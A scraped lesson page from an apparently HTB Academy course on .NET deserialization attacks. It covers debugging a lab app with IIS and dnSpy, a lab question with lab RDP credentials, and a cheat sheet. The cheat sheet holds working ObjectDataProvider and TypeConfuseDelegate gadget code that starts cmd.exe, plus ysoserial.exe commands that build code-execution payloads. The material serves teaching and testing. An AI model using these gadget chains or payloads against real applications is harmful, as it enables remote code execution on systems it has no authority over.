Advanced Deserialization Attacks

Debugging .NET Applications

Introduction

Sometimes we want to be able to see how the target application handles data in real-time. For example, imagine we have identified a potential deserialization vulnerability, but the payload we are using doesn't work and we aren't sure why. By debugging the application, we can step through the relevant code line-by-line until we realize why the payload is not working.

Typically, debugging requires the source code of an application. However, when it comes to .NET, we can use another open-source tool called dnSpy to do the same with decompiled code.

Running TeeTrove

Installing Internet Information Services (IIS)

The deployment files that we were provided for TeeTrove are not standalone, as we need another program to run the application. In this case, we will use IIS to serve the web application locally, so that we can debug it.

IIS comes by default with Windows, however, it may not be enabled by default on your installation. To enable IIS, open the Start Menu and search for Turn Windows Features on or off. Inside the window, we want to click on Internet Information Services. Next, expand the dropdown and ensure the following features are enabled, paying special attention to the ones highlighted in red:

Once the appropriate options are checked, we can click OK and Windows will automatically download any missing files.

Configuring IIS

Before we can configure IIS, we need to make sure the supplied deployment files are extracted somewhere the server can access, like C:\inetpub\wwwroot. Next, we need to modify Web.config so that the application can access the database file correctly; open Web.config in the text editor of your choice, scroll to the bottom of the file, and update the value of Data Source to the full path of the TeeTrove.db file in the same folder.

Now we are ready to configure IIS. Open the Start Menu and search for Internet Information Services (IIS) Manager. Inside, right-click Sites and select Add Website. Fill out the popup window like shown below, and make sure that the Application Pool is set to .NET v4.5, otherwise, it will not serve the application correctly!

Hit OK and now TeeTrove should be accessible at http://localhost:8000.

And now there is just one final step to make sure we can write to the database. Browse to the location where the deployment files are, right-click the folder, and modify the permissions so that the IIS_IUSRS user has write permissions on the folder.

Debugging TeeTrove

Preparing the DLL Files for Debugging

Before we can get into debugging, we need to "prep" the files. By default, IIS makes debugging complicated by optimizing the assemblies. To prevent this from happening, we can use a PowerShell script to disable optimization.

Download the following PowerShell Module, and run the following commands (replacing the last path with wherever you placed the application):

PS C:\> Import-Module .\IISAssemblyDebugging.psm1
PS C:\> Enable-IISAssemblyDebugging C:\inetpub\wwwroot\TeeTrove.Publish\

Installing dnSpy

Now that we have TeeTrove running, and the application files are prepped for debugging, let's work on getting our debugging environment set up. For this, we will need to install dnSpy. Head to the GitHub repository's Releases page, and then download the latest -win64.zip archive.

Once downloaded, simply extract the archive and the tool is ready to be used!

Debugging TeeTrove with dnSpy

Finally, open up dnSpy as Administrator. The layout will be similar to both dotPeek and ILSpy; there is an Assembly List on the left-hand side, and the main window pane is where decompiled code will be displayed.

From the File menu, select Open and select all the DLL files in the application folder.

Next, select Debug > Attach to Process and look for w3wp.exe. If it does not appear in the list, send any request to the web application and click Refresh, it should show up.

At this point, if everything was done correctly, debugging should be working. We can test this by opening TeeTrove.Controllers.AuthController and setting a breakpoint on line 18. We can try to load http://localhost:8000/Auth/Login in the browser, and the application should break, allowing us to step through lines and view the values of variables.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

PROTOCOL

UDP 1337

TCP 443

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: Click here to spawn the target system!

Download VPN Connection File

RDP to with user "htb-admin" and password "HTB_@cademy_admin!"

+ 7 Inside 'TeeTrove.Controllers.TeeController', there is a dynamically initialized variable called 'secret3'. Use debugging to determine its value at runtime, and enter that value as the answer below. Use the credentials 'pentest:pentest' to log into the website.

+10 Streak pts

TeeTrove.Publish.zip

Previous Next

Go to Questions

Introduction

Skills Assessment

My Workstation

OFFLINE

/ 1 spawns left

Cheat Sheet

The cheat sheet is a useful command reference for this module.

Identifying Deserialization Vulnerabilities

White-Box

Serializer	Example	Reference
BinaryFormatter	`.Deserialize(...)`	Microsoft
fastJSON	`JSON.ToObject(...)`	GitHub
JavaScriptSerializer	`.Deserialize(...)`	Microsoft
Json.NET	`JsonConvert.DeserializeObject(...)`	Newtonsoft
LosFormatter	`.Deserialize(...)`	Microsoft
NetDataContractSerializer	`.ReadObject(...)`	Microsoft
ObjectStateFormatter	`.Deserialize(...)`	Microsoft
SoapFormatter	`.Deserialize(...)`	Microsoft
XmlSerializer	`.Deserialize(...)`	Microsoft
YamlDotNet	`.Deserialize<...>(...)`	GitHub

Black-Box

For .NET Applications we can keep an eye out for the following:

Base64-encoded strings beginning with AAEAAAD/////
Strings containing $type
Strings containg __type
Strings containg TypeObject

Regarding Java Applications, the following cases are interesting:

Bytes containing AC ED 00 05
Base64-encoded string containg rO0

Exploiting Deserialization Vulnerabilities

ObjectDataProvider

using System.Windows.Data;

namespace ODPExample
{
    internal class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.ObjectType = typeof(System.Diagnostics.Process);
            odp.MethodParameters.Add("C:\\Windows\\System32\\cmd.exe");
            odp.MethodParameters.Add("/c calc.exe");
            odp.MethodName = "Start";
        }
    }
}

TypeConfuseDelegate

Delegate stringCompare = new Comparison<string>(string.Compare);
Comparison<string> multicastDelegate = (Comparison<string>) MulticastDelegate.Combine(stringCompare, stringCompare);
IComparer<string> comparisonComparer = Comparer<string>.Create(multicastDelegate);

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = multicastDelegate.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(multicastDelegate, invoke_list);

SortedSet<string> sortedSet = new SortedSet<string>(comparisonComparer);
sortedSet.Add("/c calc");
sortedSet.Add("C:\\Windows\\System32\\cmd.exe");

YSoSerial.NET

-f to specify the Formatter, e.g. Json.NET, XmlSerializer, BinaryFormatter
-g to specify the Gadget, e.g. ObjectDataProvider, TypeConfuseDelegate
-c to specify the Command, e.g. calc
-o to specify the Output mode, e.g. Base64 or Raw for plaintext

.\ysoserial.exe -f [Formatter] -g [Gadget] -c [Command] -o [Output]

E.g.:
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -c "notepad" -o Raw
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad" -o Raw
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c 'notepad' -o base64

Defending against Deserialization Vulnerabilities

Avoid Deserializing User Input
Avoid Unecessary Deserialization
Use Secure Serialization Mechanisms
Use Explicit Types
Use Signed Data
Least Possible Privileges

Advanced Deserialization Attacks

Debugging .NET Applications

Introduction

Running TeeTrove

Installing Internet Information Services (IIS)

Configuring IIS

Debugging TeeTrove

Preparing the DLL Files for Debugging

Installing dnSpy

Debugging TeeTrove with dnSpy

Questions

Table of Contents

Introduction

Identifying Deserialization Vulnerabilities

Exploiting Deserialization Vulnerabilities

Defending against Deserialization Vulnerabilities

Skills Assessment

My Workstation